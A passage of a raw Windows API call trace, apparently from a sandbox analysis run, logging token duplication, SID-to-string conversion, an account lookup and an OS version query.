out: hHeap=0x2e0000) returned 1 [0084.090] SetLastError (dwErrCode=0x0) [0084.090] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0xebe4d8, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0xebe3e0 | out: pulNumLanguages=0xebe4d8, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0xebe3e0) returned 1 [0084.090] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x8) returned 0x31da80 [0084.090] SetLastError (dwErrCode=0x0) [0084.090] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0xebe4d8, pwszLanguagesBuffer=0x31da80, pcchLanguagesBuffer=0xebe3e0 | out: pulNumLanguages=0xebe4d8, pwszLanguagesBuffer=0x31da80, pcchLanguagesBuffer=0xebe3e0) returned 1 [0084.090] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x8) returned 0x31da90 [0084.090] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x31da80 | out: hHeap=0x2e0000) returned 1 [0084.090] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x14) returned 0x34f1f0 [0084.090] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0x34f1f0, pulNumLanguages=0xebe4d8 | out: pulNumLanguages=0xebe4d8) returned 1 [0084.090] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x34f1f0 | out: hHeap=0x2e0000) returned 1 [0084.092] _wcsicmp (_String1="Create", _String2="Create") returned 0 [0084.093] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0084.093] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0084.093] ?Release@CWbemObject@@UEAAKXZ () returned 0x1 [0084.094] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0084.094] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0084.094] ?Release@CWbemObject@@UEAAKXZ () returned 0x1 [0084.096] memcpy (in: _Dst=0xebdcf0, _Src=0xebdc70, _Size=0x68 | out: _Dst=0xebdcf0) returned 0xebdcf0 [0084.096] GetCurrentThread () returned 0xfffffffffffffffe [0084.096] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0xb, OpenAsSelf=1, TokenHandle=0xebce60 | out: TokenHandle=0xebce60*=0x238) returned 1 [0084.096] malloc (_Size=0xd8) returned 0xf4740 [0084.096] LoadLibraryW (lpLibFileName="ADVAPI32.DLL") returned 0x7feffcb0000 [0084.097] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaEnumerateTrustedDomains") returned 0x7feffcf8200 [0084.097] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaQueryInformationPolicy") returned 0x7feffcd20b0 [0084.097] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaNtStatusToWinError") returned 0x7feffcf7e40 [0084.097] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaFreeMemory") returned 0x7feffcbe390 [0084.097] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaOpenPolicy") returned 0x7feffcd0b40 [0084.098] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaClose") returned 0x7feffcd2040 [0084.098] GetProcAddress (hModule=0x7feffcb0000, lpProcName="QueryServiceStatusEx") returned 0x7feffcb7004 [0084.098] GetProcAddress (hModule=0x7feffcb0000, lpProcName="DuplicateTokenEx") returned 0x7feffcbd310 [0084.098] GetProcAddress (hModule=0x7feffcb0000, lpProcName="SetSecurityDescriptorControl") returned 0x7feffcd3fe4 [0084.098] GetProcAddress (hModule=0x7feffcb0000, lpProcName="ConvertToAutoInheritPrivateObjectSecurity") returned 0x7feffceb828 [0084.098] GetProcAddress (hModule=0x7feffcb0000, lpProcName="DestroyPrivateObjectSecurity") returned 0x7feffcbf924 [0084.099] GetProcAddress (hModule=0x7feffcb0000, lpProcName="CheckTokenMembership") returned 0x7feffcbd980 [0084.099] GetProcAddress (hModule=0x7feffcb0000, lpProcName="AddAccessAllowedObjectAce") returned 0x7feffceba94 [0084.099] GetProcAddress (hModule=0x7feffcb0000, lpProcName="AddAccessDeniedObjectAce") returned 0x7feffceba30 [0084.099] GetProcAddress (hModule=0x7feffcb0000, lpProcName="AddAuditAccessObjectAce") returned 0x7feffceb9a8 [0084.099] GetProcAddress (hModule=0x7feffcb0000, lpProcName="SetNamedSecurityInfoW") returned 0x7feffcb89a0 [0084.099] GetProcAddress (hModule=0x7feffcb0000, lpProcName="GetNamedSecurityInfoW") returned 0x7feffcbf990 [0084.100] GetProcAddress (hModule=0x7feffcb0000, lpProcName="SetNamedSecurityInfoExW") returned 0x7feffd0dc00 [0084.100] GetProcAddress (hModule=0x7feffcb0000, lpProcName="GetExplicitEntriesFromAclW") returned 0x7feffcf56a0 [0084.100] GetProcAddress (hModule=0x7feffcb0000, lpProcName="GetEffectiveRightsFromAclW") returned 0x7feffcf56f0 [0084.100] malloc (_Size=0x18) returned 0xeef00 [0084.100] DuplicateTokenEx (in: hExistingToken=0x238, dwDesiredAccess=0xb, lpTokenAttributes=0x0, ImpersonationLevel=0x2, TokenType=0x1, phNewToken=0xebce68 | out: phNewToken=0xebce68*=0x244) returned 1 [0084.100] malloc (_Size=0x48) returned 0xed2c0 [0084.100] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xebcc38 | out: lpSystemTimeAsFileTime=0xebcc38*(dwLowDateTime=0x5b188200, dwHighDateTime=0x1d9eb0c)) [0084.100] SetEvent (hEvent=0x1f0) returned 1 [0084.101] GetTokenInformation (in: TokenHandle=0x238, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0xebcd80 | out: TokenInformation=0x0, ReturnLength=0xebcd80) returned 0 [0084.101] GetLastError () returned 0x7a [0084.101] malloc (_Size=0x2c) returned 0xee200 [0084.101] GetTokenInformation (in: TokenHandle=0x238, TokenInformationClass=0x1, TokenInformation=0xee200, TokenInformationLength=0x2c, ReturnLength=0xebcd80 | out: TokenInformation=0xee200, ReturnLength=0xebcd80) returned 1 [0084.101] IsValidSid (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0084.101] GetLengthSid (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x1c [0084.101] malloc (_Size=0x1c) returned 0xeff00 [0084.102] CopySid (in: nDestinationSidLength=0x1c, pDestinationSid=0xeff00, pSourceSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0xeff00*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0084.102] GetSidIdentifierAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0xee212 [0084.102] malloc (_Size=0x18) returned 0xef020 [0084.102] _ultow (in: _Dest=0x5, _Radix=15453152 | out: _Dest=0x5) returned="5" [0084.102] malloc (_Size=0x18) returned 0xeef60 [0084.102] malloc (_Size=0x18) returned 0xef040 [0084.102] SysStringLen (param_1="S-1-") returned 0x4 [0084.102] SysStringLen (param_1="5") returned 0x1 [0084.102] memcpy (in: _Dst=0x381238, _Src=0x381298, _Size=0xa | out: _Dst=0x381238) returned 0x381238 [0084.102] memcpy (in: _Dst=0x381240, _Src=0x381208, _Size=0x4 | out: _Dst=0x381240) returned 0x381240 [0084.102] free (_Block=0xef020) [0084.102] free (_Block=0xeef60) [0084.102] GetSidSubAuthorityCount (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0xee211 [0084.102] GetSidSubAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x0) returned 0xee218 [0084.102] _ultow (in: _Dest=0x15, _Radix=15453152 | out: _Dest=0x15) returned="21" [0084.102] malloc (_Size=0x18) returned 0xeef60 [0084.103] malloc (_Size=0x18) returned 0xef020 [0084.103] SysStringLen (param_1="S-1-5") returned 0x5 [0084.103] SysStringLen (param_1="-") returned 0x1 [0084.103] memcpy (in: _Dst=0x381208, _Src=0x381238, _Size=0xc | out: _Dst=0x381208) returned 0x381208 [0084.103] memcpy (in: _Dst=0x381212, _Src=0x381298, _Size=0x4 | out: _Dst=0x381212) returned 0x381212 [0084.103] free (_Block=0xef040) [0084.103] free (_Block=0xeef60) [0084.103] malloc (_Size=0x18) returned 0xeef60 [0084.103] malloc (_Size=0x18) returned 0xef040 [0084.103] SysStringLen (param_1="S-1-5-") returned 0x6 [0084.103] SysStringLen (param_1="21") returned 0x2 [0084.103] memcpy (in: _Dst=0x381298, _Src=0x381208, _Size=0xe | out: _Dst=0x381298) returned 0x381298 [0084.103] memcpy (in: _Dst=0x3812a4, _Src=0x381238, _Size=0x6 | out: _Dst=0x3812a4) returned 0x3812a4 [0084.103] free (_Block=0xef020) [0084.103] free (_Block=0xeef60) [0084.103] GetSidSubAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x1) returned 0xee21c [0084.103] _ultow (in: _Dest=0xfb7f942f, _Radix=15453152 | out: _Dest=0xfb7f942f) returned="4219442223" [0084.103] malloc (_Size=0x18) returned 0xeef60 [0084.103] malloc (_Size=0x18) returned 0xef020 [0084.103] SysStringLen (param_1="S-1-5-21") returned 0x8 [0084.103] SysStringLen (param_1="-") returned 0x1 [0084.104] memcpy (in: _Dst=0x381238, _Src=0x381298, _Size=0x12 | out: _Dst=0x381238) returned 0x381238 [0084.104] memcpy (in: _Dst=0x381248, _Src=0x381208, _Size=0x4 | out: _Dst=0x381248) returned 0x381248 [0084.104] free (_Block=0xef040) [0084.104] free (_Block=0xeef60) [0084.104] malloc (_Size=0x18) returned 0xeef60 [0084.104] malloc (_Size=0x18) returned 0xef040 [0084.104] SysStringLen (param_1="S-1-5-21-") returned 0x9 [0084.104] SysStringLen (param_1="4219442223") returned 0xa [0084.104] memcpy (in: _Dst=0x338318, _Src=0x381238, _Size=0x14 | out: _Dst=0x338318) returned 0x338318 [0084.104] memcpy (in: _Dst=0x33832a, _Src=0x381298, _Size=0x16 | out: _Dst=0x33832a) returned 0x33832a [0084.104] free (_Block=0xef020) [0084.104] free (_Block=0xeef60) [0084.104] GetSidSubAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x2) returned 0xee220 [0084.104] _ultow (in: _Dest=0xfbc24a41, _Radix=15453152 | out: _Dest=0xfbc24a41) returned="4223814209" [0084.104] malloc (_Size=0x18) returned 0xeef60 [0084.104] malloc (_Size=0x18) returned 0xef020 [0084.104] SysStringLen (param_1="S-1-5-21-4219442223") returned 0x13 [0084.104] SysStringLen (param_1="-") returned 0x1 [0084.104] memcpy (in: _Dst=0x337788, _Src=0x338318, _Size=0x28 | out: _Dst=0x337788) returned 0x337788 [0084.104] memcpy (in: _Dst=0x3377ae, _Src=0x381238, _Size=0x4 | out: _Dst=0x3377ae) returned 0x3377ae [0084.105] free (_Block=0xef040) [0084.105] free (_Block=0xeef60) [0084.105] malloc (_Size=0x18) returned 0xeef60 [0084.105] malloc (_Size=0x18) returned 0xef040 [0084.105] SysStringLen (param_1="S-1-5-21-4219442223-") returned 0x14 [0084.105] SysStringLen (param_1="4223814209") returned 0xa [0084.105] memcpy (in: _Dst=0x34da68, _Src=0x337788, _Size=0x2a | out: _Dst=0x34da68) returned 0x34da68 [0084.105] memcpy (in: _Dst=0x34da90, _Src=0x381238, _Size=0x16 | out: _Dst=0x34da90) returned 0x34da90 [0084.105] free (_Block=0xef020) [0084.105] free (_Block=0xeef60) [0084.105] GetSidSubAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x3) returned 0xee224 [0084.105] _ultow (in: _Dest=0xe49636b4, _Radix=15453152 | out: _Dest=0xe49636b4) returned="3835049652" [0084.105] malloc (_Size=0x18) returned 0xeef60 [0084.105] malloc (_Size=0x18) returned 0xef020 [0084.105] SysStringLen (param_1="S-1-5-21-4219442223-4223814209") returned 0x1e [0084.105] SysStringLen (param_1="-") returned 0x1 [0084.105] memcpy (in: _Dst=0x34dd98, _Src=0x34da68, _Size=0x3e | out: _Dst=0x34dd98) returned 0x34dd98 [0084.105] memcpy (in: _Dst=0x34ddd4, _Src=0x381238, _Size=0x4 | out: _Dst=0x34ddd4) returned 0x34ddd4 [0084.105] free (_Block=0xef040) [0084.106] free (_Block=0xeef60) [0084.106] malloc (_Size=0x18) returned 0xeef60 [0084.106] malloc (_Size=0x18) returned 0xef040 [0084.106] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-") returned 0x1f [0084.106] SysStringLen (param_1="3835049652") returned 0xa [0084.106] memcpy (in: _Dst=0x34da68, _Src=0x34dd98, _Size=0x40 | out: _Dst=0x34da68) returned 0x34da68 [0084.106] memcpy (in: _Dst=0x34daa6, _Src=0x381238, _Size=0x16 | out: _Dst=0x34daa6) returned 0x34daa6 [0084.106] free (_Block=0xef020) [0084.106] free (_Block=0xeef60) [0084.106] GetSidSubAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x4) returned 0xee228 [0084.106] _ultow (in: _Dest=0x3e8, _Radix=15453152 | out: _Dest=0x3e8) returned="1000" [0084.106] malloc (_Size=0x18) returned 0xeef60 [0084.106] malloc (_Size=0x18) returned 0xef020 [0084.106] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652") returned 0x29 [0084.106] SysStringLen (param_1="-") returned 0x1 [0084.106] memcpy (in: _Dst=0x34dd98, _Src=0x34da68, _Size=0x54 | out: _Dst=0x34dd98) returned 0x34dd98 [0084.106] memcpy (in: _Dst=0x34ddea, _Src=0x381238, _Size=0x4 | out: _Dst=0x34ddea) returned 0x34ddea [0084.106] free (_Block=0xef040) [0084.107] free (_Block=0xeef60) [0084.107] malloc (_Size=0x18) returned 0xeef60 [0084.107] malloc (_Size=0x18) returned 0xef040 [0084.107] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-") returned 0x2a [0084.107] SysStringLen (param_1="1000") returned 0x4 [0084.107] memcpy (in: _Dst=0x34da68, _Src=0x34dd98, _Size=0x56 | out: _Dst=0x34da68) returned 0x34da68 [0084.107] memcpy (in: _Dst=0x34dabc, _Src=0x381238, _Size=0xa | out: _Dst=0x34dabc) returned 0x34dabc [0084.107] free (_Block=0xef020) [0084.107] free (_Block=0xeef60) [0084.107] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 0x2e [0084.107] malloc (_Size=0x5e) returned 0xf0800 [0084.107] free (_Block=0xef040) [0084.107] malloc (_Size=0x18) returned 0xef040 [0084.108] free (_Block=0xf0800) [0084.170] LookupAccountSidW (in: lpSystemName=0x0, Sid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x0, cchName=0xebcca4, ReferencedDomainName=0x0, cchReferencedDomainName=0xebcca0, peUse=0xebcdb0 | out: Name=0x0, cchName=0xebcca4, ReferencedDomainName=0x0, cchReferencedDomainName=0xebcca0, peUse=0xebcdb0) returned 0 [0084.171] GetLastError () returned 0x7a [0084.171] malloc (_Size=0x14) returned 0xeef60 [0084.171] malloc (_Size=0x16) returned 0xef020 [0084.171] LookupAccountSidW (in: lpSystemName=0x0, Sid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0xeef60, cchName=0xebcca4, ReferencedDomainName=0xef020, cchReferencedDomainName=0xebcca0, peUse=0xebcdb0 | out: Name="kEecfMwgj", cchName=0xebcca4, ReferencedDomainName="Q9IATRKPRH", cchReferencedDomainName=0xebcca0, peUse=0xebcdb0) returned 1 [0084.172] malloc (_Size=0x18) returned 0xeef20 [0084.172] malloc (_Size=0x18) returned 0xef0a0 [0084.172] free (_Block=0xeef60) [0084.172] free (_Block=0xef020) [0084.172] free (_Block=0xeff00) [0084.172] free (_Block=0xef0a0) [0084.172] free (_Block=0xeef20) [0084.172] free (_Block=0xef040) [0084.173] free (_Block=0xee200) [0084.173] GetVersionExW (in: lpVersionInformation=0xebcf90*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x9d14, dwMinorVersion=0x32a120, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0xebcf90*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0084.173] GetTokenInformation (in: TokenHandle=0x238, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0xebce18 | out: TokenInformation=0x0, ReturnLength=0xebce18) returned 0 [0084.173] GetLastError () returned 0x7a [0084.173] malloc (_Size=0x2c) returned 0xee240 [0084.173] GetTokenInformation (in: TokenHandle=0x238, TokenInformationClass=0x1, TokenInformation=0xee240, TokenInformationLength=0x2c, ReturnLength=0xebce18 | out: TokenInformation=0xee240, ReturnLength=0xebce18) returned 1 [0084.173] IsValidSid (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0084.173] GetLengthSid (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x1c [0084.173] malloc (_Size=0x1c) returned 0xeff00 [0084.173] CopySid (in: nDestinationSidLength=0x1c, pDestinationSid=0xeff00, pSourceSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0xeff00*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0084.173] GetSidIdentifierAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0xee252 [0084.173] malloc (_Size=0x18) returned 0xef040 [0084.174] _ultow (in: _Dest=0x5, _Radix=15453168 | out: _Dest=0x5) returned="5" [0084.174] malloc (_Size=0x18) returned 0xeef20 [0084.174] malloc (_Size=0x18) returned 0xef0a0 [0084.174] SysStringLen (param_1="S-1-") returned 0x4 [0084.174] SysStringLen (param_1="5") returned 0x1 [0084.174] memcpy (in: _Dst=0x381298, _Src=0x381208, _Size=0xa | out: _Dst=0x381298) returned 0x381298 [0084.174] memcpy (in: _Dst=0x3812a0, _Src=0x381238, _Size=0x4 | out: _Dst=0x3812a0) returned 0x3812a0 [0084.174] free (_Block=0xef040) [0084.174] free (_Block=0xeef20) [0084.174] GetSidSubAuthorityCount (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0xee251 [0084.174] GetSidSubAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x0) returned 0xee258 [0084.174] _ultow (in: _Dest=0x15, _Radix=15453168 | out: _Dest=0x15) returned="21" [0084.174] malloc (_Size=0x18) returned 0xeef20 [0084.174] malloc (_Size=0x18) returned 0xef040 [0084.174] SysStringLen (param_1="S-1-5") returned 0x5 [0084.174] SysStringLen (param_1="-") returned 0x1 [0084.174] memcpy (in: _Dst=0x381238, _Src=0x381298, _Size=0xc | out: _Dst=0x381238) returned 0x381238 [0084.174] memcpy (in: _Dst=0x381242, _Src=0x381208, _Size=0x4 | out: _Dst=0x381242) returned 0x381242 [0084.174] free (_Block=0xef0a0) [0084.174] free (_Block=0xeef20) [0084.174] malloc (_Size=0x18) returned 0xeef20 [0084.175] malloc (_Size=0x18) returned 0xef0a0 [0084.175] SysStringLen (param_1="S-1-5-") returned 0x6 [0084.175] SysStringLen (param_1="21") returned 0x2 [0084.175] memcpy (in: _Dst=0x381208, _Src=0x381238, _Size=0xe | out: _Dst=0x381208) returned 0x381208 [0084.175] memcpy (in: _Dst=0x381214, _Src=0x381298, _Size=0x6 | out: _Dst=0x381214) returned 0x381214 [0084.175] free (_Block=0xef040) [0084.175] free (_Block=0xeef20) [0084.175] GetSidSubAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x1) returned 0xee25c [0084.175] _ultow (in: _Dest=0xfb7f942f, _Radix=15453168 | out: _Dest=0xfb7f942f) returned="4219442223" [0084.175] malloc (_Size=0x18) returned 0xeef20 [0084.175] malloc (_Size=0x18) returned 0xef040 [0084.175] SysStringLen (param_1="S-1-5-21") returned 0x8 [0084.175] SysStringLen (param_1="-") returned 0x1 [0084.175] memcpy (in: _Dst=0x381298, _Src=0x381208, _Size=0x12 | out: _Dst=0x381298) returned 0x381298 [0084.175] memcpy (in: _Dst=0x3812a8, _Src=0x381238, _Size=0x4 | out: _Dst=0x3812a8) returned 0x3812a8 [0084.175] free (_Block=0xef0a0) [0084.175] free (_Block=0xeef20) [0084.175] malloc (_Size=0x18) returned 0xeef20 [0084.175] malloc (_Size=0x18) returned 0xef0a0 [0084.176] SysStringLen (param_1="S-1-5-21-") returned 0x9 [0084.176] SysStringLen (param_1="4219442223") returned 0xa [0084.176] memcpy (in: _Dst=0x338318, _Src=0x381298, _Size=0x14 | out: _Dst=0x338318) returned 0x338318 [0084.176] memcpy (in: _Dst=0x33832a, _Src=0x381208, _Size=0x16 | out: _Dst=0x33832a) returned 0x33832a [0084.176] free (_Block=0xef040) [0084.176] free (_Block=0xeef20) [0084.176] GetSidSubAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x2) returned 0xee260 [0084.176] _ultow (in: _Dest=0xfbc24a41, _Radix=15453168 | out: _Dest=0xfbc24a41) returned="4223814209" [0084.176] malloc (_Size=0x18) returned 0xeef20 [0084.176] malloc (_Size=0x18) returned 0xef040 [0084.176] SysStringLen (param_1="S-1-5-21-4219442223") returned 0x13 [0084.176] SysStringLen (param_1="-") returned 0x1 [0084.176] memcpy (in: _Dst=0x337788, _Src=0x338318, _Size=0x28 | out: _Dst=0x337788) returned 0x337788 [0084.176] memcpy (in: _Dst=0x3377ae, _Src=0x381298, _Size=0x4 | out: _Dst=0x3377ae) returned 0x3377ae [0084.176] free (_Block=0xef0a0) [0084.176] free (_Block=0xeef20) [0084.176] malloc (_Size=0x18) returned 0xeef20 [0084.176] malloc (_Size=0x18) returned 0xef0a0 [0084.176] SysStringLen (param_1="S-1-5-21-4219442223-") returned 0x14 [0084.176] SysStringLen (param_1="4223814209") returned 0xa [0084.177] memcpy (in: _Dst=0x34dd98, _Src=0x337788, _Size=0x2a | out: _Dst=0x34dd98) returned 0x34dd98 [0084.177] memcpy (in: _Dst=0x34ddc0, _Src=0x381298, _Size=0x16 | out: _Dst=0x34ddc0) returned 0x34ddc0 [0084.177] free (_Block=0xef040) [0084.177] free (_Block=0xeef20) [0084.177] GetSidSubAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x3) returned 0xee264 [0084.177] _ultow (in: _Dest=0xe49636b4, _Radix=15453168 | out: _Dest=0xe49636b4) returned="3835049652" [0084.177] malloc (_Size=0x18) returned 0xeef20 [0084.177] malloc (_Size=0x18) returned 0xef040 [0084.177] SysStringLen (param_1="S-1-5-21-4219442223-4223814209") returned 0x1e [0084.177] SysStringLen (param_1="-") returned 0x1 [0084.177] memcpy (in: _Dst=0x34da68, _Src=0x34dd98, _Size=0x3e | out: _Dst=0x34da68) returned 0x34da68 [0084.177] memcpy (in: _Dst=0x34daa4, _Src=0x381298, _Size=0x4 | out: _Dst=0x34daa4) returned 0x34daa4 [0084.177] free (_Block=0xef0a0) [0084.177] free (_Block=0xeef20) [0084.177] malloc (_Size=0x18) returned 0xeef20 [0084.177] malloc (_Size=0x18) returned 0xef0a0 [0084.177] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-") returned 0x1f [0084.177] SysStringLen (param_1="3835049652") returned 0xa [0084.177] memcpy (in: _Dst=0x34dd98, _Src=0x34da68, _Size=0x40 | out: _Dst=0x34dd98) returned 0x34dd98 [0084.177] memcpy (in: _Dst=0x34ddd6, _Src=0x381298, _Size=0x16 | out: _Dst=0x34ddd6) returned 0x34ddd6 [0084.178] free (_Block=0xef040) [0084.178] free (_Block=0xeef20) [0084.178] GetSidSubAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x4) returned 0xee268 [0084.178] _ultow (in: _Dest=0x3e8, _Radix=15453168 | out: _Dest=0x3e8) returned="1000" [0084.178] malloc (_Size=0x18) returned 0xeef20 [0084.178] malloc (_Size=0x18) returned 0xef040 [0084.178] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652") returned 0x29 [0084.178] SysStringLen (param_1="-") returned 0x1 [0084.178] memcpy (in: _Dst=0x34da68, _Src=0x34dd98, _Size=0x54 | out: _Dst=0x34da68) returned 0x34da68 [0084.178] memcpy (in: _Dst=0x34daba, _Src=0x381298, 